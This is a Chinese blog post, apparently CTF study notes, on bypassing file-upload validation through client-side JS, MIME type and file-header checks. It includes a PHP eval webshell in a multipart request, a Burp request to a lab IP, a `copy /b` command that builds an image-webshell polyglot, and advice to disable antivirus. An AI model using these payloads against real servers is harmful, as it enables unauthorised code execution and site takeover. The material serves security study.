

ctf文件上传

原创

Zheng_Jay 于 2021-11-15 23:28:23 发布 3108 收藏 1

分类专栏: [ctf技术](#) 文章标签: [前端](#) [安全](#) [javascript](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/Zheng_Jay/article/details/121346162

版权



[ctf技术](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

客户端校验

最简单的文件校验是 [本地js校验](#), 一般都是要求只能上传jpg, png, gif [图片格式](#):

```
<script type="text/javascript">
  function checkFile()
  {
    var flag = false;
    var str = document.getElementById("file").value;
    str = str.substring(str.lastIndexOf('.') + 1);
    var arr = new Array('png', 'jpg', 'gif');
    for(var i=0;i<arr.length;i++)
    {
      if(str==arr[i])
      {
        flag = true;
      }
    }
    if(!flag)
    {
      alert('文件不合法! 只能上传.png或.jpg或.gif!');
      return false;
    }
    return flag;
  }
</script>
```

应对措施: 在本地 [禁用js](#)。

Settings

Preferences

Preferences

Workspace

Experiments

Ignore List

Devices

Throttling

Locations

Shortcuts

Detect indentation

Autocompletion

Bracket matching

Code folding

Show whitespace characters:

Display variable values inline while debugging

Focus Sources panel when triggering a breakpoint

Enable CSS source maps

Allow scrolling past end of file

Default indentation:

Elements

Show user agent shadow DOM

Word wrap

Show HTML comments

Reveal DOM node on hover

Show detailed inspect tooltip

Show rulers

Hide network messages

Selected context only

Log XMLHttpRequests

Show timestamps

Autocomplete from history

Group similar messages in console

Eager evaluation

Evaluate triggers user activation

Preserve log upon navigation

Enable custom formatters

Persistence

Enable Local Overrides

Debugger

Disable JavaScript

Disable async stack traces

Global

Auto-open DevTools for popups

Extension

Link handling:

[Restore defaults and reload](#)

服务端校验

服务端校验比较棘手一点。

MIME类型校验

虽然我们在客户端通过禁用js上传了文件，但服务端还会再对文件类型进行校验，并且校验的是 **MIME**。

• MIME类型检测

- ◆MIME type的缩写为(Multipurpose Internet Mail Extensions)代表互联网媒体类型(Internet media type)，MIME使用一个简单的字符串组成，最初是为了标识邮件Email附件的类型，在html文件中可以使用content-type属性表示，描述了文件类型的互联网标准。

```
204800-----723230141571537767140896938
Content-Disposition: form-data; name="upfile"; filename="GIF.g:
Content-Type: image/gif
GIF89a
<script language="php">@eval($_POST['a']);</script>
-----723230141571537767140896938
Content-Disposition: form-data; name="submit"
上传
-----723230141571537767140896938--
```

```
//检测content-type
if($_FILES["upfile"]["type"] != "image/gif"){
    echo "只允许上传GIF图片";
    exit;
}
```

我们在开发者工具中，虽然看到文件发送成功：



但如果服务端对我们请求的数据中的MIME类型进行校验，发现并非image类型，仍会丢弃。

所以，我们要修改请求包中的MIME类型（使用burp suit），常见的MIME类型：

- 扩展名：gif MIME类型：image/gif
- 扩展名：png MIME类型：image/png
- 扩展名：jpg MIME类型：image/jpeg
- 扩展名：js MIME类型：text/javascript
- 扩展名：htm MIME类型：text/html
- 扩展名：html MIME类型：text/html
-

修改MIME类型：

```
POST /upload.php HTTP/1.1
Host: 35.229.138.83
Proxy-Connection: keep-alive
Content-Length: 294
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://35.229.138.83:18367
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSZBCf1Or5sAVapZ
User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Mobile Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn
,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://35.229.138.83:18367/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6

-----WebKitFormBoundaryeSZBCf1Or5sAVapZ
Content-Disposition: form-data; name="file"; filename="asd.php"
Content-Type: application/octet-stream

-----WebKitFormBoundaryeSZBCf1Or5sAVapZ
Content-Disposition: form-data; name="submit"


```

文件头校验

有些题目中，服务端还会对上传的 **文件头** 进行校验，如果我们的文件头非图片格式，依然会被舍弃。

这时，我们就要用到 **图片码** 了！

在windos中，我们可以在cmd中用 **copy** 将文件进行捆绑。

我们只要将一张png图片和我们的php文件捆绑，不就有了png文件头，绕过服务端的校验了吗？

```
copy 1.png/b+2.php give_me_flag.php
```

照着这条指令，将文件进行修改就行了。

在用这条指令的时候，要注意 **关闭windows自带的病毒防护**，不然会将一句话木马文件清掉。

```
C:\Users\86135\Desktop>copy 1.png/b+2.php give_me_flag.php
1.png
2.php
已复制          1 个文件。
```

后缀黑名单校验

在参考资料中，还看到服务端有这种校验，但笔者还未遇到，等遇到了再记录。

参考资料

[一句话图片码](#)

[文件上传](#)